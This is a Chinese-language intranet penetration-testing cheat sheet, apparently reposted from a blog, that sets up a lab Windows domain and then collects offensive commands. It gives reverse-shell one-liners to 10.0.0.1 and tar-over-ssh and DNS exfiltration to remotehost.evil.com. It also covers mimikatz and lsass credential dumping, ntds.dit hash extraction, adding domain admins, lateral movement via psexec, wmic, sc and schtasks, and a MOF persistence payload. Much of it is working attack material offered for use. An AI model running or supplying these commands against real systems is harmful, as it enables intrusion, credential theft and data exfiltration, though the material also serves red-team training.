內網滲透小技巧


域環境搭建

准備: DC: win2008 DM: win2003 DM: winxp

win2008(域控) 1、修改計算機名:

2、配置固定ip: 其中網關設置錯誤,應該為192.168.206.2,開始默認的網管

3、服務器管理器---角色:

 

4、配置域服務: dos下面輸入 dcpromo

Ps:這里可能會因為本地administrator的密碼規則不合要求,導致安裝失敗,改一個強密碼

5、設置林根域: 林就是在多域情況下形成的森林,根表示基礎,其他在此根部衍生 具體見: http://angerfire.blog.51cto.com/198455/144123/

6、 域數據存放的地址

win2003、winxp和08配置差不多

注意點是: 1、配置網絡 dns server應該為主域控ip地址

2、加入域控

域已經搭建完成,主域控會生成一個 krbtgt 賬號 他是Windows活動目錄中使用的客戶/服務器認證協議,為通信雙方提供雙向身份認證

參考: AD域環境的搭建 基於Server 2008 R2 http://www.it165.net/os/html/201306/5493.htmlAcitve Directory 域環境的搭建 http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html

端口轉發&&邊界代理

此類工具很多,測試一兩個經典的。

端口轉發

1、windows lcx

監聽1234端口,轉發數據到2333端口
本地:lcx.exe -listen 1234 2333 將目標的3389轉發到本地的1234端口 遠程:lcx.exe -slave ip 1234 127.0.0.1 3389 

netsh 只支持tcp協議

添加轉發規則
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389 此工具適用於,有一台雙網卡服務器,你可以通過它進行內網通信,比如這個,你連接192.168.206.101:3388端口是連接到100上面的3389 刪除轉發規則 netsh interface portproxy delete v4tov4 listenport=9090 查看現有規則 netsh interface portproxy show all xp需要安裝ipv6 netsh interface ipv6 install 

更加詳細參考: http://aofengblog.blog.163.com/blog/static/631702120148573851740/

2、linux portmap

監聽1234端口,轉發數據到2333端口 本地:./portmap -m 2 -p1 1234 -p2 2333 將目標的3389轉發到本地的1234端口 ./portmap -m 1 -p1 3389 -h2 ip -p2 1234 

iptables

1、編輯配置文件/etc/sysctl.conf的net.ipv4.ip_forward = 1

2、關閉服務
service iptables stop 3、配置規則 需要訪問的內網地址:192.168.206.101 內網邊界web服務器:192.168.206.129 iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389 iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129 4、保存&&重啟服務 service iptables save && service iptables start 

socket代理

xsocks 1、windows

進行代理后,在windows下推薦使用Proxifier進行socket連接,規則自己定義

2、linux 進行代理后,推薦使用proxychains進行socket連接 kali下的配置文件: /etc/proxychains.conf 添加一條:socks5 127.0.0.1 8888

然后在命令前加proxychains就進行了代理

神器推薦

http://rootkiter.com/EarthWorm/ 跨平台+端口轉發+socket代理結合體!darksn0w師傅的推薦。 ew_port_socket.zip

基於http的轉發與socket代理(低權限下的滲透)

如果目標是在dmz里面,數據除了web其他出不來,便可以利用http進行 1、端口轉發 tunna

>端口轉發(將遠程3389轉發到本地1234) >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v > >連接不能中斷服務(比如ssh) >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s > >轉發192.168.0.2的3389到本地 >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389 

具體參考: http://drops.wooyun.org/tools/650

2、socks代理 reGeorg

python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081 

ssh通道

http://staff.washington.edu/corey/fw/ssh-port-forwarding.html 1、端口轉發

本地訪問127.0.0.1:port1就是host:port2(用的更多) ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地轉發 訪問host:port2就是訪問127.0.0.1:port1 ssh -CfNg -R port2:127.0.0.1:port1 user@host #遠程轉發 可以將dmz_host的hostport端口通過remote_ip轉發到本地的port端口 ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,監聽本地port 可以將dmz_host的hostport端口轉發到remote_ip的port端口 ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用於內網穿透防火牆限制之類 

2、socks

socket代理: ssh -qTfnN -D port remotehost 

參考redrain大牛的文章: http://drops.wooyun.org/tips/5234

獲取shell

常規shell反彈

幾個常用:

1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

各種語言一句話反彈shell: http://wiki.wooyun.org/pentest:%E5%90%84%E7%A7%8D%E8%AF%AD%E8%A8%80%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%8F%8D%E5%BC%B9shell

突破防火牆的imcp_shell反彈

有時候防火牆可能對tcp進行來處理,然而對imcp並沒有做限制的時候,就可以來一波~ kali運行(其中的ip地址填寫為目標地址win03):

win03運行:

icmpsh.exe -t kali_ip -d 500 -b 30 -s 128 

可以看到icmp進行通信的

Shell反彈不出的時候

主要針對:本機kali不是外網或者目標在dmz里面反彈不出shell,可以通過這種直連shell然后再通過http的端口轉發到本地的metasploit

1、msfvenom -p windows/x64/shell/bind_tcp LPORT=12345 -f exe -o ./shell.exe 先生成一個bind_shell 2、本地利用tunna工具進行端口轉發 python proxy.py -u http://lemon.com/conn.jsp -l 1111 -r 12345 v 3、 use exploit/multi/handler set payload windows/x64/shell/bind_tcp set LPORT 1111 set RHOST 127.0.0.1 

參考白師傅laterain的文章: https://www.91ri.org/11722.html

正向shell

1、nc -e /bin/sh -lp 1234 2、nc.exe -e cmd.exe -lp 1234 

信息收集(結構分析)

基本命令

1、獲取當前組的計算機名(一般remark有Dc可能是域控):

C:\Documents and Settings\Administrator\Desktop>net view Server Name Remark ----------------------------------------------------------------------------- \\DC1 \\DM-WINXP \\DM_WIN03 The command completed successfully. 

2、查看所有域

C:\Documents and Settings\Administrator\Desktop>net view /domain Domain ----------------------------------------------------------------------------- CENTOSO The command completed successfully. 

3、從計算機名獲取ipv4地址

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4 Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data: Reply from 192.168.206.100: bytes=32 time<1ms TTL=128 Ping statistics for 192.168.206.100: Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms 

Ps:如果計算機名很多的時候,可以利用bat批量ping獲取ip

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )

以下執行命令時候會發送到域控查詢,如果滲透的機器不是域用戶權限,則會報錯

The request will be processed at a domain controller for domain System error 1326 has occurred. Logon failure: unknown user name or bad password. 

4、查看域中的用戶名

dsquery user 或者: C:\Users\lemon\Desktop>net user /domain User accounts for \\DC1 ------------------------------------------------------------------------------- Administrator Guest krbtgt lemon pentest The command completed successfully. 

5、查詢域組名稱

C:\Users\lemon\Desktop>net group /domain

Group Accounts for \\DC1 ---------------------------------------------- *DnsUpdateProxy *Domain Admins *Domain Computers *Domain Controllers *Domain Guests *Domain Users *Enterprise Admins *Enterprise Read-only Domain Controllers *Group Policy Creator Owners *Read-only Domain Controllers *Schema Admins The command completed successfully. 

6、查詢域管理員

C:\Users\lemon\Desktop>net group "Domain Admins" /domain Group name Domain Admins Comment Designated administrators of the domain Members ----------------------------------------------------------- Administrator 

7、添加域管理員賬號

添加普通域用戶
net user lemon iam@L3m0n /add /domain 將普通域用戶提升為域管理員 net group "Domain Admins" lemon /add /domain 

8、查看當前計算機名,全名,用戶名,系統版本,工作站域,登陸域

C:\Documents and Settings\Administrator\Desktop>net config Workstation Computer name \\DM_WIN03 Full Computer name DM_win03.centoso.com User name Administrator Workstation active on NetbiosSmb (000000000000) NetBT_Tcpip_{6B2553C1-C741-4EE3-AFBF-CE3BA1C9DDF7} (000C2985F6E4) Software version Microsoft Windows Server 2003 Workstation domain CENTOSO Workstation Domain DNS Name centoso.com Logon domain DM_WIN03 COM Open Timeout (sec) 0 COM Send Count (byte) 16 COM Send Timeout (msec) 250 

9、查看域控制器(多域控制器的時候,而且只能用在域控制器上)

net group "Domain controllers" 

10、查詢所有計算機名稱

dsquery computer 下面這條查詢的時候,域控不會列出 net group "Domain Computers" /domain 

11、net命令

>1、映射磁盤到本地 net use z: \\dc01\sysvol >2、查看共享 net view \\192.168.0.1 >3、開啟一個共享名為app$,在d:\config >net share app$=d:\config 

12、跟蹤路由

tracert 8.8.8.8 

定位域控

1、查看域時間及域服務器的名字

C:\Users\lemon\Desktop>net time /domain Current time at \\DC1.centoso.com is 3/21/2016 12:37:15 AM 

2、

C:\Documents and Settings\Administrator\Desktop>Nslookup -type=SRV _ldap._tcp. *** Can't find server address for '_ldap._tcp.': DNS request timed out. timeout was 2 seconds. *** Can't find server name for address 192.168.206.100: Timed out Server: UnKnown Address: 192.168.206.100 *** UnKnown can't find -type=SRV: Non-existent domain 

3、通過ipconfig配置查找dns地址

ipconfig/all 

4、查詢域控

net group "Domain Controllers" /domain 

端口收集

端口方面的攻防需要花費的時間太多,引用一篇非常贊的端口總結文章

端口號 端口說明 攻擊技巧
21/22/69 ftp/tftp:文件傳輸協議 爆破\嗅探\溢出\后門
22 ssh:遠程連接 爆破OpenSSH;28個退格
23 telnet:遠程連接 爆破\嗅探
25 smtp:郵件服務 郵件偽造
53 DNS:域名系統 DNS區域傳輸\DNS劫持\DNS緩存投毒\DNS欺騙\利用DNS隧道技術刺透防火牆
67/68 dhcp 劫持\欺騙
110 pop3 爆破
139 samba 爆破\未授權訪問\遠程代碼執行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻擊\未授權訪問
512/513/514 linux r 直接使用rlogin
873 rsync 未授權訪問
1080 socket 爆破:進行內網滲透
1352 lotus 爆破:弱口令\信息泄漏:源代碼
1433 mssql 爆破:使用系統用戶登錄\注入攻擊
1521 oracle 爆破:TNS\注入攻擊
2049 nfs 配置不當
2181 zookeeper 未授權訪問
3306 mysql 爆破\拒絕服務\注入
3389 rdp 爆破\Shift后門
4848 glassfish 爆破:控制台弱口令\認證繞過
5000 sybase/DB2 爆破\注入
5432 postgresql 緩沖區溢出\注入攻擊\爆破:弱口令
5632 pcanywhere 拒絕服務\代碼執行
5900 vnc 爆破:弱口令\認證繞過
6379 redis 未授權訪問\爆破:弱口令
7001 weblogic Java反序列化\控制台弱口令\控制台部署webshell
80/443/8080 web 常見web攻擊\控制台爆破\對應服務器版本漏洞
8069 zabbix 遠程命令執行
9090 websphere控制台 爆破:控制台弱口令\Java反序列
9200/9300 elasticsearch 遠程代碼執行
11211 memcacache 未授權訪問
27017 mongodb 爆破\未授權訪問

引用: https://www.91ri.org/15441.html wooyun也有討論: http://zone.wooyun.org/content/18959 對於端口也就是一個服務的利用,上文也只是大概的講述,一些常見的詳細利用與防御可以看看: http://wiki.wooyun.org/enterprise:server

掃描分析

1、nbtscan 獲取mac地址:

nbtstat -A 192.168.1.99 

獲取計算機名\分析dc\是否開放共享

nbtscan 192.168.1.0/24 

其中信息: SHARING 表示開放來共享, DC 表示可能是域控,或者是輔助域控 U=user 猜測此計算機登陸名 IIS 表示運行來web80 EXCHANGE Microsoft Exchange服務 NOTES Lotus Notes服務

2、WinScanX 需要登錄賬號能夠獲取目標很詳細的內容。其中還有snmp獲取,windows密碼猜解(但是容易被殺,nishang中也實現出一個類似的信息獲取/Gather/Get-Information.ps1)

WinScanX.exe -3 DC1 centoso\pentest password -a > test.txt 

3、端口掃描 InsightScan proxy_socket后,直接

proxychains python scanner.py 192.168.0.0/24 -N 

http://insight-labs.org/?p=981

內網文件傳輸

windows下文件傳輸

1、powershell文件下載 powershell突破限制執行:powershell -ExecutionPolicy Bypass -File .\1.ps1

$d = New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/file.zip","c:/1.zip") 

2、vbs腳本文件下載

Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://192.168.206.101/file.zip",0 xPost.Send() set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile "c:\file.zip",2

下載執行:

cscript test.vbs 

3、bitsadmin win03測試沒有,win08有

bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip 

4、文件共享 映射了一個,結果沒有權限寫

net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword 

5、使用telnet接收數據

服務端:nc -lvp 23 < nc.exe 下載端:telnet ip -f c:\nc.exe 

6、hta 保存為.hta文件后運行

<html> <head> <script> var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.open("GET","http://192.168.206.101/demo.php.zip",false); Object.send(); if (Object.Status == 200) {  var Stream = new ActiveXObject("ADODB.Stream");  Stream.Open();  Stream.Type = 1;  Stream.Write(Object.ResponseBody);  Stream.SaveToFile("C:\\demo.zip", 2);  Stream.Close(); } window.close(); </script> <HTA:APPLICATION ID="test" WINDOWSTATE = "minimize"> </head> <body> </body> </html>

linux下文件傳輸

1、perl腳本文件下載 kali下測試成功,centos5.5下,由於沒有LWP::Simple這個,導致下載失敗

#!/usr/bin/perl
use LWP::Simple getstore("http://lemon.com/file.zip", "/root/1.zip");

2、python文件下載

#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://lemon.com/file.zip') localFile = open('/root/1.zip', 'w') localFile.write(u.read()) localFile.close() 

3、ruby文件下載 centos5.5沒有ruby環境

#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.lemon.com") { |http| r = http.get("/file.zip") open("/root/1.zip", "wb") { |file| file.write(r.body) } } 

4、wget文件下載

wget http://lemon.com/file.zip -P /root/1.zip 其中-P是保存到指定目錄 

5、一邊tar一邊ssh上傳

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -" 

6、利用dns傳輸數據

tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done 

但是有時候會因為沒找到而導致數據重復,對數據分析有點影響

其他傳輸方式

1、php腳本文件下載

<?php
        $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?> 

2、ftp文件下載

>**windows下**
>ftp下載是需要交互,但是也可以這樣去執行下載
open host username password bin lcd c:/ get file bye >將這個內容保存為1.txt, ftp -s:"c:\1.txt" >在mssql命令執行里面(不知道為什么單行執行一個echo,總是顯示兩行),個人一般喜歡這樣 echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt >**linux下** >bash文件 ftp 127.0.0.1 username password get file exit >或者使用busybox里面的tftp或者ftp >busybox ftpget -u test -P test 127.0.0.1 file.zip 

3、nc文件傳輸

服務端:cat file | nc -l 1234 下載端:nc host_ip 1234 > file 

4、使用SMB傳送文件 本地linux的smb環境配置

>vi /etc/samba/smb.conf [test] comment = File Server Share path = /tmp/ browseable = yes writable = yes guest ok = yes read only = no create mask = 0755 >service samba start 

下載端

net use o: \\192.168.206.129\test dir o: 

文件編譯

1、powershell將exe轉為txt,再txt轉為exe nishang中的小腳本,測試一下將nc.exe轉化為nc.txt再轉化為nc1.exe ExetoText.ps1

[byte[]] $hexdump = get-content -encoding byte -path "nc.exe" [System.IO.File]::WriteAllLines("nc.txt", ([string]$hexdump)) 

TexttoExe.ps1

[String]$hexdump = get-content -path "nc.txt" [Byte[]] $temp = $hexdump -split ' ' [System.IO.File]::WriteAllBytes("nc1.exe", $temp) 

2、csc.exe編譯源碼 csc.exe在C:\Windows\Microsoft.NET\Framework\的各種版本之下

csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs 

3、debug程序 hex功能能將hex文件轉換為exe文件(win08_x64沒有這個,win03_x32有,聽說是x32才有這個)

思路: 1. 把需要上傳的exe轉換成十六進制hex的形式 2. 通過echo命令將hex代碼寫入文件(echo也是有長度限制的) 3. 使用debug功能將hex代碼還原出exe文件

將ncc.txt的內容一條一條的在cmd下面執行,最后可以獲取到123.hex、1.dll、nc.exe exe2bat不支持大於64kb的文件

hash抓取

hash簡介

windows hash:

| | 2000 | xp| 2003 | Vista | win7 | 2008 | 2012 | |--------| | LM | √ | √ | √ | | NTLM | √ | √ | √ | √ | √ | √ | √|

前面三個,當密碼超過14位時候會采用NTLM加密 test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248::: 前一部分是LM Hash,后一部分是NTLM Hash 當LM Hash是 AAD3B435B51404EEAAD3B435B51404EE 這表示 空密碼或者是未使用LM_HASH

Hash一般存儲在兩個地方: SAM文件,存儲在本機 對應本地用戶 NTDS.DIT文件,存儲在域控上 對應域用戶

本機hash+明文抓取

1、Get-PassHashes.ps1

2、導注冊表+本地分析 Win2000和XP需要先提到SYSTEM,03開始直接可以reg save 導出的文件大,效率低,但是安全(測試的時候和QuarkPwDump抓取的hash不一致)

reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive 

3、QuarkPwDump

QuarkPwDump.exe -dhl -o "c:\1.txt" 

4、getpass本地賬戶明文抓取 閃電小子根據mimikatz寫的一個內存獲取明文密碼

http://bbs.pediy.com/showthread.php?t=156643

win8+win2012明文抓取

修改一個注冊表就可以抓取了

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 

測試失敗 工具: https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1 文章地址: https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/

域用戶hash抓取

mimikatz

只能抓取登陸過的用戶hash,無法抓取所有用戶,需要免殺 1、本機測試直接獲取內存中的明文密碼

privilege::debug sekurlsa::logonpasswords 

2、非交互式抓明文密碼(webshell中)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt 

3、powershell加載mimikatz抓取密碼

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz 

4、ProcDump + Mimikatz本地分析 文件會比較大,低效,但是安全(繞過殺軟) ps:mimikatz的平台(platform)要與進行dump的系統(source dump)兼容(比如dowm了08的,本地就要用08系統來分析)

遠程:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp 本地: sekurlsa::minidump lsass.dump.dmp sekurlsa::logonpasswords full 

ntds.dit的導出+QuarkPwDump讀取分析

無法抓取所有用戶,需要免殺

這個方法分為兩步: 第一步是利用工具導出ntds.dit 第二步是利用QuarkPwDump去分析hash

1、ntds.dit的導出 1. ntdsutil win2008開始DC中自帶的工具

a.交互式

snapshot
activate instance ntds
create mount xxx 

做完后unmount然后需要再delet一下

b.非交互

ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {GUID}" quit quit copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit 

  1. vshadow 微軟的卷影拷貝工具 > >vshadow.exe -exec=%ComSpec% C: > >其中%ComSpec%是cmd的絕對路徑,它在建立卷影后會啟動一個程序,只有這個程序才能卷影進行操作,其他不能,比如這里就是用cmd.exe來的 >最后exit一下 >

2、QuarkPwDump分析 https://github.com/quarkslab/quarkspwdump 

1. 在線提取

QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit 
  1. 離線提取 需要兩個文件 ntds.dit 和 system.hiv 其中system.hiv可通過 reg save hklm\system system.hiv 獲取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv 

3、實戰中hash導出流程

1.建立ipc$連接 net use \\DC1\c$ password /user:username 2.復制文件到DC copy .\* \\DC1\windows\tasks 3.sc建立遠程服務啟動程序 sc \\DC1 create backupntds binPath= "cmd /c start c:\windows\tasks\shadowcopy.bat" type= share start= auto error= ignore DisplayName= BackupNTDS 4.啟動服務 sc \\DC1 start backupntds 5.刪除服務 sc \\DC1 delete backupntds 6.講hash轉移到本地 move \\DC1\c$\windows\tasks\hash.txt . 7.刪除記錄文件 del \\DC1\c$\windows\tasks\ntds.dit \\DC1\c$\windows\tasks\QuarksPwDump.exe \\DC1\c$\windows\tasks\shadowcopy.bat \\DC1\c$\windows\tasks\vshadow.exe

注意的兩點是: a.WORK_PATH和你拷貝的地方要相同

b.附件中的QuarkPwDump在win08上面運行報錯,另外修改版可以,所以實戰前還是要測試一下

vssown.vbs + libesedb + NtdsXtract

上面的QuarkPwDump是在win上面分析ntds.dit,這個是linux上面的離線分析 優點是能獲取全部的用戶,不用免殺,但是數據特別大,效率低,另外用vssown.vbs復制出來的ntds.dit數據庫無法使用QuarksPwDump.exe讀取

hash導出: https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

最后需要copy出system和ntds.dit兩個文件

c:\windows\system32\config\system c:\windows\ntds\ntds.dit 

記得一定要delete快照!!!

cscript vssown.vbs /delete * 

本地環境搭建+分析:

libesedb的搭建:
wget https://github.com/libyal/libesedb/releases/download/20151213/libesedb-experimental-20151213.tar.gz tar zxvf libesedb-experimental-20151213.tar.gz cd libesedb-20151213/ ./configure make cd esedbtools/ (需要把剛剛vbs脫下來的ntds.dit放到kali) ./esedbexport ./ntds.dit mv ntds.dit.export/ ../../ ntdsxtract工具的安裝: wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip unzip ntdsxtract_v1_0.zip cd NTDSXtract 1.0/ (需要把剛剛vbs脫下來的SYSTEM放到/root/SYSTEM) python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM' 

ntdsdump

白師傅的推薦: http://z-cg.com/post/ntds_dit_pwd_dumper.html 是zcgonvh大牛根據quarkspwdump修改的,=。=,沒找到和QuarkPwDump那個修改版的區別 獲取ntds.dit和system.hiv之后(不用利用那個vbs導出,好像並不能分析出來)

利用powershell(DSInternals)分析hash

查看powershell版本:

$PSVersionTable.PSVersion
看第一個Major
或者
Get-Host | Select-Object Version 

Windows Server 2008 R2默認環境下PowerShell版本2.0,應該升級到3.0版本以上,需要.NET Framework 4.0

需要文件:

ntds.dit(vshadow獲取) system(reg獲取) 

執行命令:

允許執行腳本:
Set-ExecutionPolicy Unrestricted 導入模塊(測試是win2012_powershell ver4.0): Import-Module .\DSInternals (powershell ver5.0) Install-Module DSInternals 分析hash,並導出到當前目錄的hash.txt文件中 1、$key = Get-BootKey -SystemHivePath 'C:\Users\administrator\Desktop\SYSTEM' 2、Get-ADDBAccount -All -DBPath 'C:\Users\administrator\Desktop\ntds.dit' -BootKey $key | Out-File hash.txt 

這個只是離線分析了ntds.dit文件,其實也可以在線操作,=。=,不過感覺實戰中遇到的會比較少,畢竟現在主流是win08為域控(以后這個倒不失為一個好方法) 更多詳情參考三好學生大牛的文章: http://drops.wooyun.org/tips/10181

遠程連接&&執行程序

at&schtasks

需要開啟Task Scheduler服務 經典流程:

1、進行一個連接
net use \\10.10.24.44\ipc$ 密碼 /user:賬號 2、復制本地文件到10.10.24.44的share共享目錄(一般是放入admin$這個共享地方(也就是c:\winnt\system32\),或者c$,d$) copy 4.bat \\10.10.24.44\share 3、查看10.10.24.44服務器的時間 net time \\10.10.24.44 4、添加at任務執行 at \\10.10.24.44 6:21 \\10.10.24.44\share\4.bat 這個6:21指的是上午的時間,如果想添加下午的,則是6.21PM 5、查看添加的所有at任務列表(如果執行了得,就不會顯示) at \\10.10.24.44 

其他命令:

查看所有連接
net use 刪除連接 net use \\10.10.24.44\share /del 映射共享磁盤到本地 net use z: \\IP\c$ "密碼" /user:"用戶名" 刪除共享映射 net use c: /del net use * /del 

at過去后如果找不到網絡路徑,則判斷是目標主機已禁用Task Scheduler服務

psexec

第一次運行會彈框,輸入–accepteula這個參數就可以繞過

psexec.exe \\ip –accepteula -u username -p password program.exe 

另外兩個比較重要的參數

-c <[路徑]文件名>:拷貝文件到遠程機器並運行(注意:運行結束后文件會自動刪除) -d 不等待程序執行完就返回 比如想上傳一個本地的getpass到你遠程連接的服務器上去: Psexec.exe \\ip –u user –p pass –c c:\getpass.exe –d 

另外學習一波pstools的一些運用: http://blog.csdn.net/sysprogram/article/details/13001781

如果出現找不到網絡名,判斷目標主機已禁用ADMIN$共享

wmic

net use后:

copy 1.bat \\host\c$\windows\temp\1.bat wmic /node:ip /user:test /password:testtest process call create c:\windows\temp\1.bat 

ps: 如果出現User credentials cannot be used for local connections,應該是調用了calc.exe權限不夠的問題 如果出現Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用

wmiexec.vbs

1、半交互模式 cscript.exe //nologo wmiexec.vbs /shell ip username password 2、單命令執行 cscript.exe wmiexec.vbs /cmd ip username password "command" 3、wce_hash注入 如果抓取的LM hash是AAD3開頭的,或者是No Password之類的,就用32個0代替LM hash wce -s hash cscript.exe //nologo wmiexec.vbs /shell ip 

wmi只是創建進程,沒辦法去判斷一個進程是否執行完成(比如ping),這樣就導致wmi.dll刪除不成,下一次又是被占用,這時候修改一下vbs里面的名字就好: Const FileName = "wmi1.dll" ,也可以加入 -persist 參數(后台運行)

另外有一個uac問題 非域用戶 登陸到win08和2012中,只有administrator可以登陸成功,其他管理員賬號會出現WMIEXEC ERROR: Access is denied 需要在win08或者2012上面執行,然后才可以連接:

cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f 

想更詳細了解的可以看看: https://www.91ri.org/12908.html

smbexec

這個可以根據其他共享(c$、ipc$)來獲取一個cmd

先把execserver.exe復制到目標的windows目錄下,然后本機執行 test.exe ip user pass command sharename 

powershell remoting

感覺實質上還是操作wmi實現的一個執行程序

https://github.com/samratashok/nishang/blob/5da8e915fcd56fc76fc16110083948e106486af0/Shells/Invoke-PowerShellWmi.ps1

SC創建服務執行

一定要注意的是binpath這些設置的后面是有一個 空格 的

1、系統權限(其中test為服務名)
sc \\DC1 create test binpath= c:\cmd.exe sc \\DC1 start test sc \\DC1 delete test 2.指定用戶權限啟動 sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test sc \\DC1 start test 

schtasks

schtasks計划任務遠程運行

命令原型:
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /? For example: schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System schtasks /run /tn foobar /S host schtasks /F /delete /tn foobar /S host 

驗證失敗:win03連到08,xp連到08,xp連到03(但是並沒有真正的成功執行,不知道是不是有姿勢錯了)

更多用法: http://www.feiesoft.com/windows/cmd/schtasks.htm

SMB+MOF || DLL Hijacks

其實這個思路一般都有用到的,比如在mof提權(上傳mof文件到c:/windows/system32/wbem/mof/mof.mof)中,lpk_dll劫持 不過測試添加賬號成功...執行文件缺失敗了

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin adminaz1 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 

PTH + compmgmt.msc

http://drops.wooyun.org/tips/7358


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM